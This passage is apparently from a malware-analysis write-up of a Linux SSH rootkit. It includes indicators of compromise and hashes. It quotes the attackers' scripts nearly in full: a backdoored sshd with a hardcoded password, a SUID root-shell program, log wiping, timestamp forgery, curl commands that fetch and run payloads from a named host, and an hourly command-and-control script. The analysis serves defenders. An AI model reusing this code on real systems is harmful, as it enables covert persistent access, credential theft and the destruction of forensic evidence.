fprintf(f,"%s:%s from %s\n",authctxt->user, password, get_remote_ipaddr());
fclose(f);
}
}
else
{
if (file= fopen("/tmp/.unix", "r"))
{
fclose(file);
if((f=fopen(ILOG,"a"))!=NULL){
fprintf(f,"denied : %s:%s from %s\n",authctxt->user, password, get_remote_ipaddr());
fclose(f);
}
}
}

The password is stored in the array SECRETPW and if matched it grants access. The password in in HEX.


>>>"50527465737444".decode("hex")
'PRtestD'

Moreover, looking in the code, there is a ILOG array which is referenced as file later in the code.That file is opened with fopen and the argument  'a' which means the file is opened for writing and append data in the end of the file. Quite a few things are stored in that file: the username, the password and the remote IP. 

Again, the file name is in HEX.

>>>"2f6574632f5831312f2e707200".decode("hex")
'/etc/X11/.pr\x00'


When I SSH with any valid username and the password 'PRtestD' I access the system, but the user doesn't show up in the system with the "who" command. However, this doesn't happen with a regular password.  It seems that there is some kind of "Rookit" behaviour.


The  content of the file "/etc/X11/.pr", contains all the user/password which have been successfully logged in the system. Also, any SCP/SFTP/SSH  connection launched from that host are stored in that same file. Some nice sniffing capabilities :P


In file sshlogin.c, I found some code which checks if the password introduced is the 'backdoor' password. If it is, no records remain from that access. Nice way to hide the access :)



/*
* Records that the user has logged in. I wish these parts of operating
* systems were more standardized.
*/
void
record_login(pid_t pid, constchar*tty, constchar*user, uid_t uid,
constchar*host, struct sockaddr *addr, socklen_t addrlen)
{
struct logininfo *li;

/* save previous login details before writing new */
store_lastlog_message(user, uid);

li = login_alloc_entry(pid, user, host, tty);
login_set_addr(li, addr, addrlen);
if(!secret_ok || secret_ok!=1){
login_login(li);
login_free_entry(li);
}
}
...
..

/* Records that the user has logged out. */
void
record_logout(pid_t pid, constchar*tty, constchar*user)
{
struct logininfo *li;

li = login_alloc_entry(pid, user, NULL, tty);
if(!secret_ok || secret_ok!=1){
login_logout(li);
login_free_entry(li);
}
}




Script 3 (p2): Installing the Trojanized SSH tools

The script p2, is in charge of replacing the original SSH binaries in the system with the trojanized version. The full script is below:

#!/bin/bash
############## RK full install (p2)

# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan
echo

os=`cat 1tempfiles/os.txt`
rk=`cat 1tempfiles/rk.txt`
side_files_dir=`cat 1tempfiles/side_files_dir.txt`
maindir=`pwd`

echo -e "\033[0;32m [+] \033[0m\033[0m starting full rk install"# green
rkdir="$maindir/$rk"
cd $rkdir ; ./run install $rk 1>>$maindir/1tempfiles/log.rkinstall 2>>$maindir/1tempfiles/log.rkinstall
size_rk=`wc -c <$rk/sshd-eu`
size_sshd=`wc -c </usr/sbin/sshd`
if [ "$size_rk"!="$size_sshd" ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m something is wrong. aborting. check ($maindir/1tempfiles/log.rkinstall)" ; echo ; exit ; fi
echo -e "\033[0;32m [+] \033[0m\033[0m rk install done (logs in $maindir/1tempfiles/log.rkinstall)"

cd $maindir
echo -e "\033[0;32m [+] \033[0m\033[0m downloading rkip install file (p3)"# green
rm -rf p3
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p3
if [ !-f p3 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
chmod +x p3 ; ./p3

The script calls the  'run' script, which it is part of the default.tgz package downloaded and has been used by Script 2 (p1) to test the SSHD compiled version.

I did not go into the details of this script, so it is worth to mentioned what it is able to do:
  • Overwrite some logs files to remove evidence of the intrusion
    • /var/log/messages, /var/log/secure, /var/log/lastlog, /var/log/wtmp
  • It defines a function to change the timestamp of the modified files. This function is luam_timestamp()
  • Create a directory'/etc/pps' , which it is used to keep some files in future steps
  • Create the file /etc/X11/.pr where all the user / passwords are kept, as explained previously
  • Compile a file goprem.c  which permits to gather a local root shell. The content of the file is as follow:
#include <unistd.h>
intmain(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
  • Finally the SSH binary files are overwritten with the trojanized version, and the timestamp is changed: /usr/sbin/sshd, /usr/bin/ssh, /usr/bin/sftp, /usr/bin/scp


Content of the script:

#!/bin/bash

# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan

if [ $#!=2 ]; then good=0 ; fi

if [ "$1"=="test" ] ; then
test=1
elif [ "$1"=="install" ] ; then
install=1
else
good=0
fi

if [ "$good"="0" ] ; then
echo
echo -e "\033[0;31m $0 [test | install] [rk kit] \033[0m\033[0m"# red
echo -e "\033[0;36m example: $0 test 2centos6-32bits \033[0m\033[0m"#cyan
echo
exit
fi

if [ !-s "$2" ] ; then
echo
echo -e "\033[0;31m $2 is not a valid rk kit \033[0m\033[0m"# red
echo
exit
fi



### verificam daca e instalat ce folosim
DEP=(
'/usr/bin/curl'
'/bin/sed'
'/usr/bin/gcc'
)
for t in "${DEP[@]}" ; do
if [ -f $t ] ; then
echo -ne "\033[0;32m [+] \033[0m\033[0m"# green
echo "$t - found"
else
echo -ne "\033[0;31m [-] \033[0m\033[0m"# red
echo "$t - MISSING OR EMPTY"
good=0
fi
done
if [ "$good"="0" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi





######## golim logurile de pe server - pe viitor tb gasita alta varianta
>/var/log/messages
>/var/log/secure
>/var/log/lastlog
>/var/log/wtmp
# EOF golim logurile de pe server - pe viitor tb gasita alta varianta


######## facem directorul si fiserul de unde luam timestamp si facem functia
mkdir /usr/lib/libu.a/2>/dev/null
echo "timestamp">/usr/lib/libu.a/TS04840203583
touch -r /usr/sbin/sshd /usr/lib/libu.a
touch -r /usr/sbin/sshd /usr/lib/libu.a/TS04840203583
luam_timestamp() {
touch -r /usr/lib/libu.a/TS04840203583 $1
}
####### EOF facem directorul si fiserul de unde luam timestamp si facem functia


########################################## test part
if [ "$test"="1" ] ; then
# echo "doing test"
if [ -s "$2/run-libcheck" ] ; then
cd $2
./run-libcheck
cd ..
fi
echo
echo -e "\033[0;36m [x] setting up permissions \033[0m\033[0m"#cyan
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "permision 400 for /etc/ssh/ssh_host*" ; chmod 400/etc/ssh/ssh_host*
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "creating: /var/empty" ; mkdir /var/empty 1>/dev/null 2>/dev/null

echo
echo -e "\033[0;36m [x] moving sshd config files \033[0m\033[0m"#cyan
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo /etc/ssh/sshd_config
cp -f sshd_config /etc/ssh
luam_timestamp /etc/ssh/sshd_config
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo /etc/ssh/ssh_config
cp -f ssh_config /etc/ssh
luam_timestamp /etc/ssh/ssh_config

echo
echo -e "\033[0;36m [x] test ended. Now test the sshd :) \033[0m\033[0m"#cyan
cd $2
rm -rf test-sshd ; cp sshd-eu test-sshd
cd ..
maindir=`pwd` ; workdir="$maindir/$2"
echo " $workdir/test-sshd -p 65535"
echo " telnet 127.0.0.1 65535 / ssh root@127.0.0.1 -p 65535"
echo " killall -9 test-sshd"

echo
echo -e "\033[0;36m [x] Daca totul e bine, ruleaza ./run install $2 \033[0m\033[0m"#cyan
echo
exit
fi
# EOF test part





########################################## install part
if [ "$install"="1" ] ; then
echo
echo -e "\033[0;36m [x] creating sniffer files and main dir \033[0m\033[0m"#cyan
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "Creating: /etc/pps"
mkdir /etc/pps ; chmod 777/etc/pps/
luam_timestamp /etc/pps
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "Creating: /etc/X11/.pr"
mkdir /etc/X11 ; chmod 777/etc/X11/ ; >/etc/X11/.pr
luam_timestamp /etc/X11/.pr

echo
echo -e "\033[0;36m [x] creating goprem dir & file (suid) \033[0m\033[0m"#cyan
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "creating: /usr/include/arpa"
mkdir /usr/include 1>/dev/null 2>/dev/null
mkdir /usr/include/arpa 1>/dev/null 2>/dev/null
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "gcc goprem.c & moving"
gcc goprem.c -o goprem 2>/dev/null
mv goprem /usr/include/arpa/
chown root:root /usr/include/arpa/goprem
chmod +s /usr/include/arpa/goprem
luam_timestamp /usr/include/arpa/goprem

echo
echo -e "\033[0;36m [x] getting permisions in \033[0m\033[0m"#cyan
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/sbin"
chattr -R -aui /usr/sbin/1>/dev/null 2>/dev/null
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin"
chattr -R -aui /usr/bin/1>/dev/null 2>/dev/null
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/bin"
chattr -R -aui /bin/1>/dev/null 2>/dev/null

echo
echo -e "\033[0;36m [x] replacing system files \033[0m\033[0m"#cyan
maindir=`pwd` ; workdir="$maindir/$2"
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "saving server's sshd in /etc/pps/old-srvf/"
mkdir /etc/pps/old-srvf ; cp /usr/sbin/sshd /etc/pps/old-srvf/old55hd
luam_timestamp /etc/pps/old-srvf
luam_timestamp /etc/pps/old-srvf/old55hd
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/sbin/sshd"
cp -f $workdir/sshd-eu /usr/sbin/sshd
luam_timestamp /usr/sbin/sshd
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/ssh"
cp -f $workdir/ssh /usr/bin/ssh
luam_timestamp /usr/bin/ssh
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/sftp"
cp -f $workdir/sftp /usr/bin/sftp
luam_timestamp /usr/bin/sftp
echo -ne "\033[0;32m [+] \033[0m\033[0m" ; echo "/usr/bin/scp"
cp -f $workdir/scp /usr/bin/scp
luam_timestamp /usr/bin/scp

echo
echo -e "\033[0;36m [x] moving to the last step (sshd restart file) \033[0m\033[0m"#cyan
echo " mv s_res /tmp/.bla ; cd /tmp/.bla ; rm -rf rkkit*"
echo " nohup ./s_res 1>/dev/null 2>/dev/null "
echo " tar zxf side_files.tgz -C /etc/pps ; cd /etc/pps/side_files ; rm -rf /tmp/.bla"
echo
exit
fi
# EOF install part



Script 4 (p3): 

The p3 script is pulled by the script p2 using the command curl --progress-bar -O http://gopremium.mooo.com/.../auto/p3. And then it is executed

Again, this script pulls  additional tools from http://gopremium.mooo.com/.../auto/side_files.tgz

Before taking a look into the content of the additional script and what it does, I'll check the output. 

The are several things here, but one that it very interesting is the last line, where all information about the compromised system together with the IP of the host is displayed. Even, there is a unique ID assigned to this system. This information is kept by the cyber criminals to track all their compromised systems




The full content of the P3 script is below:

#!/bin/bash
############## rkip install (p3)

# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan


os=`cat 1tempfiles/os.txt`
rk=`cat 1tempfiles/rk.txt`
side_files_dir=`cat 1tempfiles/side_files_dir.txt`
maindir=`pwd`




echo -e "\033[0;32m [+] \033[0m\033[0m downloading rkip"# green
rm -rf side_files.tgz
curl --progress-bar -O http://gopremium.mooo.com/.../auto/side_files.tgz
if [ !-f side_files.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi

echo -e "\033[0;32m [+] \033[0m\033[0m starting rkip install"# green
if [ -z $side_files_dir ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m no side_files_dir. aborting" ; echo ; exit ; fi
rm -rf /etc/pps/side_files
tar mzxf side_files.tgz ; rm -rf side_files.tgz ; cp -R side_files /etc/pps
rkipdir="/etc/pps/side_files"
cd $rkipdir ; yes y | ./install $side_files_dir 1>>$maindir/1tempfiles/log.rkip 2>>$maindir/1tempfiles/log.rkip
node_process_id=$(pidof [pdflush-0])
if [[ -z $node_process_id ]]; then
#echo " nu exista"
echo -e "\033[0;31m [-] \033[0m\033[0m background proccess did not start. aborting. check ($maindir/1tempfiles/log.rkip). script in /etc/pps/side_files"
echo ; exit
fi
echo -e "\033[0;32m [+] \033[0m\033[0m rkip install done (logs in $maindir/1tempfiles/log.rkip)"

echo -e "\033[0;36m [x] \033[0m\033[0m write this down in your notepad :)"#cyan
echo
id_unic=`cat $maindir/1tempfiles/log.rkip|grep NOTEPAD`
echo "$id_unic"
echo


#### cleaning shit out
cd /etc/pps ; rm -rf side_files ; ./dep-safe.arhivez
rm -rf $maindir


Analysis of side_files.tgz tools


The install script

The main script 'install' performs several actions. It defines a function "timestamp-ptty" to modified the timestamp of some files in order to make more difficult any forensic investigation. The timestamp chosen is the same than timestamp from /bin/ls. Quite interesting :)

Also, it checks that there is some URL defined, which will be used later for some checks

Finally, it calls another script, "dep-install_install2", which it is part of "side_files.tgz" as well.

The full content of the 'install' script is below:

#!/bin/bash

# echo -ne "\033[0;31m [-] \033[0m\033[0m" # red
# echo -ne "\033[0;32m [+] \033[0m\033[0m" # green
# echo -ne "\033[0;36m xxx \033[0m\033[0m" #cyan


if [ $#!=1 ]; then
echo
echo -e "\033[0;31m $0 [... | .unix] \033[0m\033[0m"# red
echo -e "\033[0;36m [... | .unix] = which main server dir is used \033[0m\033[0m"#cyan
echo
exit;
fi ; echo


############## facem linkul de la main server in functie de director

myhost="gopremium.mooo.com"
main_link="http://$myhost/$1"
mkdir /usr/lib/libu.a/1>/dev/null 2>/dev/null

## adaog timestamp
echo "timestamp-ptty">/usr/lib/libu.a/TS8402386704
touch -r /bin/ls /usr/lib/libu.a
touch -r /bin/ls /usr/lib/libu.a/TS8402386704
luam_timestamp() {
touch -r /usr/lib/libu.a/TS8402386704 $1
}
## EOF adaog timestamp

echo "$main_link">/usr/lib/libu.a/l3290367235
luam_timestamp /usr/lib/libu.a/l3290367235
main_link_check=`cat /usr/lib/libu.a/l3290367235`


if [ "$main_link"=="$main_link_check" ] ; then
#echo "aceleasi linkuri"
echo -ne "\033[0;32m [+] \033[0m\033[0m"# green
echo "main server link: $main_link_check"
good=1
else
#echo "difera"
echo -ne "\033[0;31m [-] \033[0m\033[0m"# red
echo "there is something wrong with the main_link."
good=0
fi
if [ "$good"!="1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi

echo -ne "\033[0;36m [x] \033[0m\033[0m"#cyan
echo -n "press any key if link is okay" ; read a

# EOF facem linkul de la main server in functie de director


### verificam daca e instalat ce folosim
DEP=(
'/usr/bin/curl'
'/bin/sed'
'/usr/bin/gcc'
'dep-install_install2'
'dep-install_ptty'
)
for t in "${DEP[@]}" ; do
if [ -f $t ] ; then
echo -ne "\033[0;32m [+] \033[0m\033[0m"# green
echo "$t - found"
else
echo -ne "\033[0;31m [-] \033[0m\033[0m"# red
echo "$t - MISSING OR EMPTY"
good=0
fi
done
if [ "$good"!="1" ] ; then echo "Some files are missing or empty. Existing." ; echo ; exit ; fi


echo -ne "\033[0;36m [x] \033[0m\033[0m"#cyan
echo "starting dep-install_install2"
./dep-install_install2


Analysis of "dep-install_install2" script 
The first part of the script uses the same trick to modify the timestamp of the files.

Then, it queries the URL http://gopremium.mooo.com/.unix/return_ip.php in order to figure out the public IP of the compromised system-

There is also a function to generated a unique random ID, which it is used to identify the compromised system

Moreover, the script compiles "events.c", which it is a program that runs every hour in order to launch another command: /usr/bin/ptty. It even defines a fake name "[pdflush-0]". pdfflush is a process usually running in Linux systems for caching purposes. Another interesting technique to hide the malicious process. 

The content of events.c is below


#include <stdio.h>
#include <pthread.h>
#define FAKE "[pdflush-0]"

intmain(int argc, char**argv){
strcpy(argv[0],FAKE);
while (1) {
sleep(3600);
system("/usr/sbin/ptty 1>>/dev/null 2>>/dev/null");
}


return0;
}

The command /usr/sbin/ptty called in the events C code, is the script dep-install_ptty, which it is part of the TGZ file. I'll explain later the content of this script but I advance it is the C&C communication module.

Next thing done by this script is to ensure the "event" binary (just compiled) is executed. This is done through modifying the file /etc/init/env.conf in order to include a call to the shell script  /usr/sbin/env.  /usr/sbin/env is charge of calling the events binary.

Content of the modified cron (note the final line and call to /usr/sbin/env)

# env - Event System Register

description "Event System Register"

start on runlevel [2345]
stop on runlevel [!2345]

respawn

exec /usr/sbin/env

"/usr/bin/env" is also part of the side_files.tgz and basically calls the compiled binary 'events'. 

Code of /usr/sbin/env:

killall -9 events 1>/dev/null 2>/dev/null
nohup events 1>/dev/null 2>/dev/null &



The multiple calls through different files to executed the malicious file, together with some of the binary files and configuration files, demonstrate the interested Cyber Criminals to be stealthy.


Lastly, the script sends a HTTP request to the server, in order to inform that a new system has been compromised. This happens through the URL http://gopremium.mooo.com/.unix/srv-newinstall.php

Analysis of "dep-install_ptty" script

This script is in charged of communicating with the C&C and it runs every hour. The script does several things:
  • Check if there is some user connected to the system, and depending on that the rest of the script is executed or not
  • Download any new update from the URL http://gopremium.mooo.com/.unix/srvupdt.tgz.
  • Download any update for this specific compromised system. This is done through the URL http://gopremium.mooo.com/.unix/srvupdt_IDXYZ.tgz (where IDXYZ is the unique ID for this system)
  • Check if the IP has changed. For that, it queries the URL http://gopremium.mooo.com/.unix/return_ip.php and compares with the previous IP. 
  • Check if there has been any change in SSHD binary, in the IP or if the server has been down, and send that information to the C&C through the URL http://gopremium.mooo.com//.unix/srv.php?ip=XXXXip_changed=NO&sshd_changed=NO&sshd_backup_missing=NO&srv_was_down=YES&ptty_ver=3.0 (where XXXX is the current IP)

#!/bin/bash
ptty_ver="3.0"




######### verificam daca e cineva logat si nu are idle.
logati_fara_idle=`w|grep -v 'southsea\|inordkuo\|localte\|lolo'|grep -v days|cut -c43-50|grep s`
if [[ -z $logati_fara_idle ]] ; then
# echo "nu e nimeni activ pe server"
useri=0
else
# echo "sunt useri activi pe server"
useri=1
fi
# EOF verificam daca e cineva logat si nu are idle.



######## continuam cu scriptul DOAR DACA nu sunt useri activi pe server
if [ "$useri"=="0" ] ; then
####### verificam daca merge dns-ul, daca nu, adaogam nameserver
dns=`cat /etc/resolv.conf |grep 208.67.220.222`
if [[ -z $dns ]] ; then
# echo "dns nu e bun"
echo "nameserver 208.67.220.222">>/etc/resolv.conf
fi
# EOF verificam daca merge dns-ul, daca nu, adaogam nameserver

####### continuam cu scriptul DOAR DACA merge netul, verificam pe google
url_check_net="http://google.com"
if curl --output /dev/null --silent --head --fail "$url_check_net"; then
# echo "URL exists: $url_check_net - merge netul"

ip=`cat /usr/lib/libu.a/i1935678123`
id_unic=`cat /usr/lib/libu.a/g239293471`# id unic pt fiecare server in parte, e generat la install
url=`cat /usr/lib/libu.a/l3290367235`# hostul principal il ia din txt
#url="http://192.168.137.177/test/sc/test"# hostul principal. E DEFINIT IN ptty SI IN install


### adaog timestamp
luam_timestamp() {
touch -r /usr/lib/libu.a/TS8402386704 $12>/dev/null
}
# EOF timestamp
luam_timestamp /usr/lib/libu.a
luam_timestamp /usr/lib/libu.a/l3290367235
luam_timestamp /usr/lib/libu.a/i1935678123
luam_timestamp /usr/lib/libu.a/g239293471

######### DACA EXISTA ARHIVA srvupdt.tgz PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA.
url_srvupdt="$url/srvupdt.tgz"# il pui daca vrei sa lansezi un script pe servere
url_srvupdt_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt.tgz"# intra pe el ca sa confirme ca a tras arhiva
if curl --output /dev/null --silent --head --fail "$url_srvupdt"; then
# echo "URL exists: $url_srvupdt"
curl -s "${url_srvupdt_confirmare}"1>/dev/null 2>/dev/null &
tempdir="/tmp/.tmp"
rm -rf "$tempdir"1>/dev/null 2>/dev/null
mkdir "$tempdir"1>/dev/null 2>/dev/null
curl --silent "$url_srvupdt"--output "$tempdir"/srvupdt.tgz 2>/dev/null
cd "$tempdir"2>/dev/null
tar zxvf srvupdt.tgz 1>/dev/null 2>/dev/null
cd srvupdt 1>/dev/null 2>/dev/null
./install &2>/dev/null
fi
# EOF DACA EXISTA ARHIVA PE SERVERUL DE BAZA, O DOWNLOADEAZA, EXTRAGE SI EXECUTA


######### ARHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic
url_id_unic="$url/srvupdt_$id_unic.tgz"
url_id_unic_confirmare="$url/srvupdt.php?ip=$ip&tgz=srvupdt_$id_unic.tgz"# intra pe el ca sa confirme ca a tras arhiva
if curl --output /dev/null --silent --head --fail "$url_id_unic"; then
# echo "URL exists: $url_id_unic"
curl -s "${url_id_unic_confirmare}"1>/dev/null 2>/dev/null &
tempdir="/var/tmp/.tmp"
rm -rf "$tempdir"1>/dev/null 2>/dev/null
mkdir "$tempdir"1>/dev/null 2>/dev/null
curl --silent "$url_id_unic"--output "$tempdir"/srvupdt_$id_unic.tgz 2>/dev/null
cd "$tempdir"2>/dev/null
tar zxvf srvupdt_$id_unic.tgz 1>/dev/null 2>/dev/null
cd srvupdt_$id_unic 1>/dev/null 2>/dev/null
./install &2>/dev/null
fi
# EOF RHIVA SPECIAL FACUTA PT FIECARE SERVER IN PARTE. foloseste $id_unic



########## PORNIM RESTUL SCRIPTULUI
changes=0
ip_changed="NO"
sshd_changed="NO"
sshd_backup_missing="NO"
srv_was_down="NO"

######## verificam ce ip are serverul
url_return_ip="$url/return_ip.php"# din el ia valoarea $new_ip fiecare server
if curl --output /dev/null --silent --head --fail "$url_return_ip"; then
new_ip=`curl -s "$url_return_ip"|grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'`
fi
# EOF verificam ce ip are serverul

####### verificam daca s-a schimbat ip-ul
if [ "$ip"!="$new_ip" ] ; then
# s-a schimbat ip-ul
changes=1
ip_changed="$new_ip"
fi
# EOF verificam daca s-a schimbat ip-ul

####### verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd
if [ -f /usr/lib/libu.a/m9847292 ] ; then
# exista fisierul nostru de rk
size_rk=`wc -c </usr/lib/libu.a/m9847292`
size_sshd=`wc -c </usr/sbin/sshd`
if [ "$size_rk"!="$size_sshd" ] ; then
# cineva a schimbat sshd-ul

### punem sshd-ul meu inapoi
cp /usr/lib/libu.a/m9847292 /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null
chattr -aui /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
mv -f /usr/lib/libu.a/sshd /usr/sbin/sshd 1>>/dev/null 2>>/dev/null
rm -rf /usr/lib/libu.a/sshd 1>>/dev/null 2>>/dev/null
killall -9 sshd 1>>/dev/null 2>>/dev/null
luam_timestamp /usr/sbin/sshd
/usr/sbin/sshd 1>>/dev/null 2>>/dev/null
# EOF punem sshd-ul meu inapoi

changes=1
sshd_changed="YES"
fi
else
# cineva a sters fisierul nostru de rk (backup-ul)
changes=1
sshd_backup_missing="YES"
sshd_changed="UNKNOWN"
fi
# EOF verificam daca mai exista backup-ul la sshd-ul nostru si il comparam cu /usr/sbin/sshd

####### verificam daca sshd e pornit, daca nu, il pornim noi
sshd_process=`ps x | grep -v grep|grep sshd`
if [[ -z $sshd_process ]]; then
# echo "nu ruleaza"
/usr/sbin/sshd 1>>/dev/null 2>>/dev/null
# nu mai dau notificare daca am pornit eu sshd
# changes=1
fi
# EOF verificam daca sshd e pornit, daca nu, il pornim noi

###### verificam daca a fost cazut netul
if [ -f /usr/lib/libu.a/h439302s ] ; then
# serverul a fost cazut
changes=1
srv_was_down="YES"
fi

##### DACA scriptul detecteaza schimbari, intram pe link
if [ "$changes"=1 ] ; then
### trimitem datele catre server
curl -s "${url}/srv.php?ip=${ip}&ip_changed=${ip_changed}&sshd_changed=${sshd_changed}&sshd_backup_missing=${sshd_backup_missing}&srv_was_down=${srv_was_down}&ptty_ver=${ptty_ver}"1>/dev/null 2>/dev/null &
fi
# EOF DACA scriptul detecteaza schimbari, intram pe link

# EOF PORNIM RESTUL SCRIPTULUI





else
# echo "URL does NOT exist: $url_check_net - NU merge netul"
mkdir /usr/lib/libu.a/1>/dev/null 2>/dev/null ## in caz ca ne-a sters cineva dir
echo "srv was down">/usr/lib/libu.a/h439302s 2>/dev/null
luam_timestamp /usr/lib/libu.a/h439302s
fi
# EOF continuam cu scriptul DOAR DACA merge netul, verificam pe google
fi
# EOF continuam cu scriptul DOAR DACA nu sunt useri activi pe server


Finally, the P3 script runs some commands and scripts to remove all the temporal files


So in Summary, we are dealing with:

  • Backdoor capabilities
    • A rootkit and backdoor for Linux system across different platforms and architecture
    • Local rootshell
    • The main SSHD binary is overwritten with a malicious binary. This binary contains a backdoor password to ensure access. Also, any access with that password is not tracked. This password is PRtestD
  • Multi architecture and modular approach: 
    • It uses a modular approach with different scripts involved. 
    • Depending on the OS and the architecture different files are download and executed.
  • Sniffing capabilities: Several other binaries like scp, sftp, ssh are trojanized to steal username / passwords
  • Anti-forensic capabilities: 
    • Remove some logs to delete evidences  (/var/log/messages, /var/log/secure, /var/log/lastlog, /var/log/wtmp)
    • Modify timestamp of files 
  • Rootkit capabilities:
    • Hidden processes and files through different techniques
  • C2C capabilities:
    • Communication with C&C every hour to inform of any change in the system (eg: new IP)
    • Communication with C&C every hour to pull any update


Update 1: Some additional analysis on the backdoor passwords in the SSHD binaries is here 


IOCs



5.189.136.43
http://gopremium.mooo.com/.../auto/p 
http://gopremium.mooo.com/.../auto/p1
http://gopremium.mooo.com/.../auto/arm61.tgz
http://gopremium.mooo.com/.../auto/arm71.tgz
http://gopremium.mooo.com/.../auto/vyos.tgz
http://gopremium.mooo.com/.../auto/vyos64.tgz
http://gopremium.mooo.com/.../auto/edgeos.tgz
http://gopremium.mooo.com/.../auto/edgeos64.tgz
http://gopremium.mooo.com/.../auto/default.tgz
http://gopremium.mooo.com/.../auto/p2
http://gopremium.mooo.com/.../auto/p3
http://gopremium.mooo.com/.../auto/side_files.tgz
http://gopremium.mooo.com/.unix/return_ip.php
http://gopremium.mooo.com/.unix/srvupdt.tgz
http://gopremium.mooo.com/.unix/srvupdt_IDXYZ.tgz
http://gopremium.mooo.com//.unix/srv.php

/etc/X11/.pr
/etc/pps
/usr/bin/ptty
/etc/init/env.conf (containing /usr/sbin/env)
/usr/bin/events/events



MD5 (arm61/arm61/run-libcheck) = 34976ac680474edd12d16d84470bd702
MD5 (arm61/arm61/scp) = 5eb1b59dbcd806ce41858bf40e10cab0
MD5 (arm61/arm61/sftp) = dce8fc0c3ddf0351e4e81f404b85d7bb
MD5 (arm61/arm61/ssh) = aeae5ae324e118021cb7e7ee7d5e7a26
MD5 (arm61/arm61/sshd) = 7aadb643f8345fb59e8998e18209f71a
MD5 (arm61/arm61/sshd-eu) = 7aadb643f8345fb59e8998e18209f71a

MD5 (vyos/vyos/scp) = 6797f4801407052832ff482d5b1acf06
MD5 (vyos/vyos/sftp) = 2d3a350e5210255f89a61a082254233f
MD5 (vyos/vyos/ssh) = 5b3193530738e8e658c5ab8f63b5ee0d
MD5 (vyos/vyos/sshd-eu) = 142e4198e11d405899619d49cc6dc79c
MD5 (vyos/vyos/test-sshd) = 142e4198e11d405899619d49cc6dc79c

MD5 (vyos64/vyos64/scp) = 300f7413eb76bf6905df1f5182e52f9e
MD5 (vyos64/vyos64/sftp) = 01a4f0f38096df67e13c6e9ed7ccc205
MD5 (vyos64/vyos64/ssh) = 3e7dfbac340929fc54aa459cc7ad181b
MD5 (vyos64/vyos64/sshd-eu) = b327add04800e05480a020af2ab993e0
MD5 (vyos64/vyos64/test-sshd) = b327add04800e05480a020af2ab993e0


MD5 (edgeos/edgeos/scp) = ce8e196db65bed7862d98d4a14283ae4
MD5 (edgeos/edgeos/sftp) = 0e34c468857e5e3d66ec2f0bd223d38c
MD5 (edgeos/edgeos/ssh) = 47f2e08da73bb5e5d6c61d347d1bfbf1
MD5 (edgeos/edgeos/sshd-eu) = 4b4e7ccb1f015a107ac052ba25dfe94e
MD5 (edgeos/edgeos/test-sshd) = 4b4e7ccb1f015a107ac052ba25dfe94e

MD5 (edgeos64/edgeos64/scp) = 602793976e2f41b5a1942cfd2784d075
MD5 (edgeos64/edgeos64/sftp) = e597cfee6f877e82339fab3e322d79b7
MD5 (edgeos64/edgeos64/ssh) = d5f6794c3b41f1d7f12715ba3315fd7b
MD5 (edgeos64/edgeos64/sshd) = 973eee9fae6e3a353286206da7a89904
MD5 (edgeos64/edgeos64/sshd-eu) = 973eee9fae6e3a353286206da7a89904

MD5 (edgeos64/edgeos64/test-sshd) = e597cfee6f877e82339fab3e322d79b7















Viewing all articles
Browse latest Browse all 65

Trending Articles